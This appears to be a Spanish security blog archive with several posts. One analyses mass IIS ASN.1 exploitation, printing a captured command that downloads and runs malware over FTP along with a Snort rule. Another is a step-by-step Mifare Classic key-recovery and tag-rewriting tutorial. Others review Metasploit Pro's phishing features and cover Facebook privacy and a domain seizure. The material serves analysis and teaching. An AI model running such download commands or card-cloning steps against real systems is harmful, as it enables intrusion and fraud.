Vuelven viejos conocidos. Ataques masivos a servidores IIS

10 de febrero de 2011 Por

Recientemente, hemos detectado una nueva tendencia en los ataques a servidores web IIS. Los ataques intentan explotar una vieja vulnerabilidad de 2004 en los servidores web de Microsoft. Es habitual que malwares antiguos todavía sigan funcionando años después de su gran apogeo, ya que muchas máquinas no se actualizan correctamente y siguen siendo vulnerables.

Lo que ya no es tan común es que años después haya un aumento tan elevado de ataques, siendo estos de distintos orígenes. Como ejemplo, sirva esta captura de nuestro sistema de posicionamiento de ataques en tiempo real:

mapa

Como se aprecia en la imagen, los ataques provienen de todo el mundo (en el caso de la imagen; USA, India, Japón, Rusia, Taiwan… ) y en un breve espacio de tiempo. En concreto, los ataques que se reciben son al puerto 80, donde se obtienen peticiones del tipo:

GET / HTTP/1.0

Host: XXX.XXX.XXX.XXX

Authorization: Negotiate YIIQegYGKwYBBQUCoIIQbjCCEGqhghBmI4IQYgOCBAEAQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU…

Después de una rápida investigación, lo mas probable es que se esté intentando explotar la vulnerabilidad de ASN.1 detallada en MS04-007 y en SANS.edu. El ataque realiza lo siguiente:

1º) Ejecuta el exploit.
2º) Si tiene éxito, abre un servidor ftp en el puerto 21.
3º) Una vez abierto el puerto, se descarga el malware con una orden como la siguiente:

cmd /c echo open 210.134.62.199 21 > o&echo user 1 1 >> o &echo get Rewetsr.exe >> o &echo quit >> o &ftp -n -s:o &Rewetsr.exe

4º) Ejecuta el malware, se infecta y vuelve a realizar el mismo ataque para propagarse a otros sistemas.
Hemos identificado que en el conjunto de los equipos infectados, efectivamente disponen del servicio ftp sirviendo el malware:

nmap
Por último, para aquellos lectores que usen SNORT, aquí tenéis una de las firmas que detecta el ataque:

reject tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:”SPECIFIC-THREATS ASN.1 constructed bit string”; flow:established,to_server; content:”Authorization|3A| Negotiate YIIQegYGKwYBBQUCoIIQbjCCEGqhghBmI4IQYgOCBAEAQUFBQUF”; reference:cve,2005-1935; reference:url,www.phreedom.org/solar/exploits/msasn1-bitstring/; classtype:attempted-admin; sid:12709; rev:2;)

Recomendamos su inmediato despliegue en sistemas IDS e IPS.

RojaDirecta sufre la censura estadounidense

1 de febrero de 2011 Por

Esta mañana, el famoso portal español RojaDirecta.org ha aparecido con la siguiente imagen:

RojaDirecta.org es una web que se dedica a compartir enlaces de streaming de eventos deportivos. Desde su creación, y sobretodo desde su popularización, ha sufrido diferentes ataques por parte de diferentes organismos de gestión y empresas audiovisuales. Como ejemplo de esto, solo hay que buscar en google “roja directa” para ver lo siguiente:

Si seguimos en enlace propuesto (http://www.chillingeffects.org/notice.cgi?sID=3073) podemos ver que en este caso, el denunciante es Audiovisual Sport, SL.

Realizando una búsqueda rápida, encuentro que los servidores de RojaDirecta se encuentran repartidos por España, Canada y Holanda. Entonces, ¿cómo ha conseguido el gobierno de los Estados Unidos “cerrar” una página que no está alojada en USA?

La respuesta la encontramos si consultamos al DNS. En este caso, el departamento de Homeland Security de los Estados Unidos de América, se ha “apropiado” del dominio rojadirecta.org. Aquí el extracto del whois:

dlladro@dlladro:~$ whois rojadirecta.org
...
Domain ID:D143405403-LROR 
Domain Name:ROJADIRECTA.ORG 
Created On:11-Apr-2007 19:02:44 UTC 
Last Updated On:01-Feb-2011 02:22:59 UTC 
Expiration Date:11-Apr-2011 19:02:44 UTC 
Sponsoring Registrar:GoDaddy.com, Inc. (R91-LROR) 
Status:DELETE PROHIBITED 
Status:TRANSFER PROHIBITED 
Status:UPDATE PROHIBITED 
Registrant ID:dohs001 
Registrant Name:Department of Homeland Security 
Registrant Organization:Immigrations and Customs Enforcement 
Registrant Street1:801 I St., N.W. Suite 700 
Registrant Street2: 
Registrant Street3: 
Registrant City:Washington 
Registrant State/Province:DC 
Registrant Postal Code:20536 
Registrant Country:US 
...

El gobierno de USA, ha aprovechado que el registrador del dominio es una empresa norteamericana, y ha obligado a GoDaddy a que apuntara el dominio RojaDirecta.org hacia los servidores de Homeland Security.

Por suerte para los usuarios de la web, otros dominios como rojadirecta.es, rojadirecta.com siguen funcionando, y así lo indican en el comunicado de la web:

Las autoridades estadounidense han cerrado Rojadirecta.org pero seguimos y SEGUIREMOS en otros dominios como Rojadirecta.com (.me, .es, .in…). Las autoridades Estados Unidos ha cerrado así un dominio intentando bloquear el acceso a un sitio que ya ha sido juzgado por dos juzgados de Madrid y en nuestra opinión despreciando totalmente a la justicia y soberanía española. Un proceso judicial largo (de más de 3 años) en donde han intervenido las fuerzas de seguridad del Estado español, el Ministerio Fiscal español y la justicia española, TODOS ellos defendiendo o dictando la legalidad del sitio.

Desde mi desconocimiento en leyes estadounidenses, me vienen a la cabeza diversas preguntas: ¿Qué derecho tiene el gobierno de los Estados Unidos de apropiarse un dominio sin un juicio previo? ¿No es esto una forma de censura? ¿Hemos de temer algo similar con la aprobación de la ley Sinde? ¿Es sensato utilizar registradores norteamericanos para el registro de dominios, vista la escasez de garantías? ¿Habría actuado de igual forma Godaddy ante una petición de un gobierno europeo?

Facebook añade el soporte de https y autenticación social

28 de enero de 2011 Por

Hace un par de días Facebook anunciaba desde su blog dos de sus nuevas funcionalidades para aumentar la seguridad de sus usuarios.

La primera, y una de las más demandadas por los usuarios, es el soporte de sesiones https. Hasta ahora, solo la parte de autenticación de login y password iban cifradas, dejando toda la actividad que realizáramos en la red social sin cifrar. De este modo, un atacante podría leer nuestras conversaciones, ver nuestras fotos, robar nuestras cookies, etc. Parece que la aparición de Firesheep, una extensión de Firefox que permite robar las cookies de sesión de multitud de sitios web, ha acelerado el proceso de incorporación de https a los servidores de Facebook.

Esta nueva funcionalidad se está activando progresivamente y en unas semanas todos podremos disfrutar de una navegación más segura. Para activar el https, deberemos acceder a Configuración de la cuenta → Seguridad de la cuenta donde podremos ver algo como esto:

Una vez seleccionada la opción “https” pasaremos a ver la la barra de direcciones de color verde, como en la siguiente imagen:

La otra mejora que ha añadido Facebook tiene como función evitar que un atacante que haya conseguido nuestras credenciales pueda acceder a nuestra cuenta. Para ello, si por ejemplo accedemos a Facebook desde una dirección IP de Valencia, y en pocas horas, nos volvemos a loguear desde una IP rusa, Facebook detecta que ha habido una actividad sospechosa, y deberemos validarnos como los propietarios de la cuenta. Para ello, se nos mostrarán fotos de nuestros amigos, las cuales deberemos de reconocer.

5

Esta última medida tiene un pequeño “inconveniente”. Hay usuarios que son jugadores muy activos de juegos como FarmVille, CityVille, etc., que se dedican a agregar amigos que no conocen solo por el simple hecho de obtener dinero virtual. Estas personas, si necesitan alguna vez realizar una autenticación social, es muy probable que no superen la prueba y tengan que pedir un cambio de contraseña (sin contar con los problemas de privacidad asociados).

Desde mi punto de vista, Facebook ha mejorado bastante en materia de seguridad. Aparte de las medidas aquí descritas, hace relativamente poco se introdujeron las funcionalidades de logout remoto y one-time passwords que hacen que nuestros datos sean un poco más seguros. Y aunque por defecto, la privacidad sigue siendo escasa, se puede configurar nuestra cuenta para obtener una mayor seguridad y privacidad.

Nada más. Pasen un buen fin de semana, aunque sea frío y pasado por agua.

Lanzada la versión Pro de Metasploit

3 de noviembre de 2010 Por

El pasado martes 19 de octubre apareció la noticia del lanzamiento de la suite de seguridad más famosa en su versión comercial, Metasploit Pro 3.5. Entre las nuevas características, destacan la habilidad de identificar, auditar y explotar aplicaciones web, lanzar campañas de ingeniería social a gran escala, evasión de antivirus e IDS, trabajo colaborativo y generar informes personalizados. Además, Metasploit Pro permite hacer VPN Pivoting en capa 2, lo cual nos crea una interfaz virtual dentro de la red remota desde la que poder lanzar cualquier herramienta de seguridad.

La instalación es muy sencilla, tanto para Windows como para Linux. En caso de tener alguna duda, recomiendo seguir las guías de instalación y de usuario que se pueden encontrar en la web. Para probar la herramienta, Rapid7 pone a nuestra disposición una imagen de VmWare con servicios vulnerables.

Vamos a ver de forma rápida la interfaz web y algunas de las nuevas opciones que hemos probado:

overview

La interfaz es prácticamente igual que la de Metasploit Express. Tenemos un resumen del estado del proyecto donde se aprecian las estadísticas sobre estado de los hosts, sistemas operativos, actividad y servicios de red encontrados.

audit webaps

Esta es la pantalla de auditoría web automática. Las opciones se explican por sí solas: WebScan, Autit Web Apps y Exploit Web Apps.

Otra de las características que nos ha gustado es el apartado de Campaigns, desde donde podemos montar un servidor web que genere ataques de phishing, o explotar vulnerabilidades del navegador con solo visitar la página.

Nueva campaña

En la captura se ven las diferentes opciones para lanzar la campaña. Por ejemplo podemos configurar un envío masivo de correos electrónicos que redirijan a nuestra página especialmente creada. En una página posterior nos permite personalizar la página que se mostrará; aquí entra la habilidad o imaginación de cada uno para realizar un site creíble. También dispone de la opción de lanzar una campaña USB que nos creará los archivos necesarios para “dejar olvidado” un usb en lugares estratégicos. Aquí un ejemplo de campaña exitosa:

campañaWeb

Como se ve en la imagen, se han obtenido 2 sesiones con el host después de explotar una vulnerabilidad de java.

Después de esto, en el apartado Sessions, podemos obtener evidencias de la intrusión, acceder al sistema de ficheros, realizar pivoting y obtener una shell en el navegador. Todo esto centralizado y accesible para todos los miembros del proyecto.

Evidencias

Por último, comentar el apartado Reports, que nos permite de forma fácil y rápida, generar informes sobre la auditoría. Entre los reportes que genera están el resumen ejecutivo, vulnerabilidades explotadas. Incluso hay un informe (Detailed Audit Report) donde se informa de todos los pasos que se han ejecutado en la auditoría.

reports

Para terminar, comentar el precio de la herramienta, 15000$ por la licencia anual. Un precio prohibitivo para muchas empresas pero que sin duda, vale la pena probar, para lo que existe una versión trial totalmente funcional durante unos días, que hará las delicias de los pentesters. Happy hacking!

Hacking RFID, rompiendo la seguridad de Mifare (IV)

15 de septiembre de 2010 Por

En este post vamos, por fin, a poder obtener las claves de un tag Mifare Classic para posteriormente leer el contenido, escribir… Para ello, partimos de la base que ya tenemos las librerías instaladas tal y como dijimos en el anterior post, y que detectamos el lector (si tenéis problemas con esto, decidlo en los comentarios).

Vamos ahora a instalar las herramientas que necesitaremos. La primera de ellas se llama mfcuk e implementa el ataque llamado “darkside” descrito en http://eprint.iacr.org/2009/137.pdf. Este ataque aprovecha la poca entropía que se utiliza en el cifrado Crypto-1 para obtener mediante fuerza bruta la clave de un sector.

svn checkout http://mfcuk.googlecode.com/svn/trunk/ mfcuk-read-only

(para la versión 1.3.4 de libnfc, 
svn checkout http://mfcuk.googlecode.com/svn/trunk/ mfcuk -r r37)

cd mfcuk-read-only
autoreconf -vis
./configure
make
sudo make install

Una vez instalado, lo ejecutamos con la orden:

mfcuk_keyrecovery_darkside -C -v 2 -R 3:A -M 8

-C     Para realizar la conexión
-v 2   Modo very verbose
-R 3:A Recuperar la clave A del sector 3
-M 8   Tipo de tag Mifare Classic 1K

Obtenemos el siguiente resultado:

Donde vemos que ha encontrado la clave A del sector 3. Este ataque, según los creadores dura unos 5 minutos, pero en mis pruebas no ha bajado de 20. Como veis, obtener las 30 claves (en el caso que sean todas diferentes) nos podría llevar demasiado tiempo. Ahora vamos a utilizar el programa mfoc para obtener todas las demás claves. Mfoc utiliza el llamado “Nested-Authentication attack” que se basa en el conocimiento de una clave para atacar a los sectores restantes. Su instalación es la siguiente:

wget http://micmd.googlecode.com/files/mfoc-new.tar
cd mfoc
autoreconf -vis
./configure
make 
sudo make install

Para usar la clave que hemos obtenido anteriormente hay que volver a compilar el archivo mfoc.c que está en ./mfoc/src/mfoc.c y buscar el vector de claves por defecto:

imagen1

Solo hay que añadir la clave siguiendo el mismo patrón. Luego hacemos un:

gcc mfoc.c -o mfoc

y ya lo tenemos a punto.

La ejecución del programa, yo la he hecho de la siguiente forma:

mfoc -P 100 -O salida.mdf

-P 100     Reintentos
-O         Archivo de salida

Veremos algo como esto:

Esta parte todavía no es el ataque; aquí mfoc está comprobando si las claves que tiene por defecto funcionan con algún sector. Primero hace una pasada probando las claves A. Como se deduce, la clave a884…. es la clave A del sector 0. Después de esto, empezará el ataque donde irá obteniendo las claves una a una. En el caso de que las obtenga todas en las 100 repeticiones, hará el volcado del tag en el archivo salida.mdf. Sí no, yo recomiendo apuntar las claves e ir introduciéndolas en el archivo mfoc.c.

Por último, una vez tengamos todas las claves podemos crearnos con un editor hexadecimal un archivo llamado keys.mdf. Este archivo lo podemos crear a partir del salida.mdf poniendo todo a ceros excepto los sectores tráiler de cada bloque. Con este archivo keys.mdf ya podemos operar con el tag con las funciones de la librería libnfc:

nfc-mfclassic w a contenido_nuevo.mdf keys.mdf

w                       Escritura
a                       Clave A
contenido_nuevo.mdf     Archivo de entrada
keys.mdf                Archivo con las claves

Con esta última orden hemos escrito un tag Mifare Classic con un contenido modificado, con lo que termina esta entrada y de momento (por mi parte) las entradas sobre seguridad en Mifare Classic. Si algún lector intenta llevar a cabo lo aquí explicado y tiene problemas, estaré encantado de ayudarle en los comentarios.

Herramienta definitiva para evitar ataques de phising

30 de julio de 2010 Por

Después de este titular tan amarillista, viene la historia del triunfo de la concienciación en los usuarios y sobretodo, del sentido común.

Voy a poneros en situación: hace unos años, sugerí a mi padre que pidiera al banco una cuenta para operar por Internet. Inmediatamente, él vio las ventajas de la banca online: transferencias entre cuentas instantáneas, ver el saldo en el momento…

Como buen hijo, le di las recomendaciones de seguridad básicas:

  • Nunca acceder al banco pulsando sobre un enlace.
  • Buscar que el certificado de la web sea reconocido.
  • Que aparezca el candado en la barra inferior.
  • Nunca poner todas las coordenadas de la tarjeta.
  • Y por último, que usara el sentido común y que si veía algo extraño, que desconfiara.

[Read more…]

Problemas de privacidad en Facebook… otra vez

27 de julio de 2010 Por

A estas alturas de la película, todos sabemos la cantidad de problemas que nos puede traer Facebook en lo que respecta a nuestra privacidad. Desde empleados que son despedidos por culpa de hablar mal de su empresa, a acosos por parte de ex-parejas. La semana pasada Sean Sullivan de F-Secure comentó en su twitter la existencia de un directorio en Facebook donde se recogían todos los nombres de los usuario que se puedan buscar. Esta pagina es www.facebook.com/directory

Con esta información a Ron Bowes se le iluminó la bombilla que todos tenemos en la cabeza. Teniendo al alcance de la mano millones de nombres y apellidos de personas, ¿no se podría confeccionar una gran lista de usuarios para utilizarla con ataques de fuerza bruta? La respuesta para él fue afirmativa, y mediante un script en Ruby obtuvo 171 millones de nombres de usuario (100 millones únicos). Ahora sólo faltaba ordenarlos, crear las diferentes combinaciones de nombre/apellido y empaquetarlo todo en un torrent para compartirlo con la comunidad.

Dicho torrent se puede descargar desde Skull Security, y su contenido es el siguiente:

  • La URL del perfil de todos los usuarios que se pueden buscar en Facebook.
  • El nombre de todos los usuarios de Facebook, por nombre y por cuenta (perfecto para post-proceso, datamining…)
  • Listas procesadas, incluyendo nombres y cuenta, apellidos y cuenta, usuarios potenciales y cuenta…
  • Los programas que usó para generarlo todo.

Por ejemplo, podemos sacar los top-ten de Facebook, donde John Smith es el claro ganador:

Primera letra del nombre y apellido

129369 jsmith
  79365 ssmith
  77713 skhan
  75561 msmith
  74575 skumar
  72467 csmith
  71791 asmith
  67786 jjohnson
  66693 dsmith
  66431 akhan

Nombre y primera letra del apellido

100225 johns
  97676 johnm
  97310 michaelm
  93386 michaels
  88978 davids
  85481 michaelb
  84824 davidm
  82677 davidb
  81500 johnb
  77800 michaelc

Para evitar aparecer en esta lista, podemos modificar nuestras opciones de privacidad. Hay que ir a “Cuenta->Configuración de la privacidad”, y el primer párrafo será el que aparece en la siguiente imagen:

1

Pnchamos “Ver configuración”, y dentro de las diferentes opciones, cambiar la opción de “Buscarme en Facebook” a “Sólo amigos”.

2

Con esto estaremos a salvo de nuevas búsquedas. Si no lo tenían configurado así (no es habitual), pueden descargarse el torrent y comprobar si su nombre aparece en él. ¡Hasta mañana!

Hacking RFID, rompiendo la seguridad de Mifare (III)

21 de julio de 2010 Por

Con el permiso de Roberto, voy a continuar con la serie sobre seguridad en Mifare Classic que él comenzó hace unos meses (véase I y II).

En las anteriores entradas, se han comentado los ataques contra la comunicación lector-tag, donde era necesario capturar el momento de la autenticación. Además era necesario el uso de hardware relativamente caro, el PROXMARK III (240€).

En este post y el siguiente, vamos a ver como es posible recuperar la información de un tag usando hardware barato y ataques contra el tag. En primer lugar vamos a presentar el hardware:

Se trata del lector de touchatag, un lector basado en el ACR122U de ACS. La gran virtud de este lector es la posibilidad de usar las librerías libres libnfc, que han permitido a la comunidad desarrollar aplicaciones sin necesidad de pagar los costosos SDK’s privados.

La otra gran virtud es el precio, 40€ aproximadamente con portes e impuestos incluidos.

[Read more…]